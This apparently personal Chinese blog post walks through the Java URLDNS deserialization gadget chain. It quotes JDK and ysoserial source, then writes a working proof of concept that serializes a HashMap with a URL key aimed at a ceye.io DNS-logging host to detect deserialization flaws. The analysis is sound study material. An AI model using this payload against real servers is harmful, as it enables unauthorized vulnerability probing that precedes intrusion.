URLDNS链分析

前言

​ 之前学URLDNS的时候学的迷迷糊糊的,昨天学到shiro发现可以用URLDNS探测shiro反序列化是否存在,所以今天心血来潮又跟了一遍URLDNS,虽然之前跟了一遍但是这次收获颇多。

复现

反序列化入口在HashMap类的readObject,先看readObject方法

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

在最后会调用hash

putVal(hash(key), key, value, false, false);

跟进一下这个hash方法

static final int hash(Object key) {
       int h;
       return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

发现调用了key.hashCode,查看ysoserial的URLDSN链发现这个key指的是URL类。

所以查看URL类的hashcode方法

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

当hashcode != -1时会返回hashcode变量,跟进一下hashCode,发现

private int hashCode = -1;

跟进一下handler

transient URLStreamHandler handler;

发现调用了URLStreamHandler,继续跟进

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

跟进getHostAddress

    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }

这⾥ InetAddress.getByName(host)的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。

这样Gadget就出来了

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

然后我们再查看ysoserial的URLDNS链

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 * A blog post with more details about this gadget chain is at the url below:
 *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
 *
 *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog
 *   posting describing how he modified the Java Commons Collections gadget
 *   in ysoserial to open a URL. This takes the same idea, but eliminates
 *   the dependency on Commons Collections and does a DNS lookup with just
 *   standard JDK classes.
 *
 *   The Java URL class has an interesting property on its equals and
 *   hashCode methods. The URL class will, as a side effect, do a DNS lookup
 *   during a comparison (either equals or hashCode).
 *
 *   As part of deserialization, HashMap calls hashCode on each key that it
 *   deserializes, so using a Java URL object as a serialized key allows
 *   it to trigger a DNS lookup.
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

发现他多了一个

    static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

这个是为了防止HashMap的put方法触发URLDNS,让我们看看put方法的源码

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

发现他调用了putVal方法,这样就会触发URLDNS链执行DNS请求。

我们可以尝试一下利用put方法执行URLDNS

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
String url = "http://1lzra0.ceye.io/";
URL u = new URL(url);
objectObjectHashMap.put(u,url);

image-20220316163554298

然后我们将ysoserial的防止put方法发出dns请求的部分加上

package ysoserial.payloads;

import org.python.antlr.ast.Str;

import java.io.IOException;
import java.net.*;
import java.util.HashMap;

public class UrlDnsTest {
    public static void main(String[] args) throws MalformedURLException {
        SilentURLStreamHandler Handler = new SilentURLStreamHandler();
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        String url = "http://1lzra0.ceye.io/";
        URL u = new URL(null,url,Handler);
        objectObjectHashMap.put(u,url);

    }
    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

运行poc发现确实没有dns请求,然后我们要想一下为啥执行了putVal却没有dns请求,

打个断点调试一下发现,由于执行了hash,所以HashCode的值被改变了,并没有进行到我们想让他执行的handler.hashCode方法

image-20220316164815813

所以我们要修改一下hashCode的值让链子走进handler.hashCode。

在前面提到过 private int hashCode = -1; 因为是private所以我们只能通过反射修改hashCode的值,再断一下发现

image-20220316171221548

poc

package ysoserial.payloads;

import org.python.antlr.ast.Str;

import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;

public class UrlDnsTest {
    public static void main(String[] args) throws Exception {
        SilentURLStreamHandler Handler = new SilentURLStreamHandler();
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        String url = "http://1lzra0.ceye.io/";
        URL u = new URL(null,url,Handler);
        objectObjectHashMap.put(u,url);
        Class c = Class.forName("java.net.URL");
        Field field = c.getDeclaredField("hashCode"); //修改变量的值使用getDeclaredField
        field.setAccessible(true);
        field.set(u,-1); //反射修改hashCode的值
        serialize(objectObjectHashMap);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;}
    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

参考链接:

P神java漫谈

feng师傅:https://ego00.blog.csdn.net/article/details/119678492

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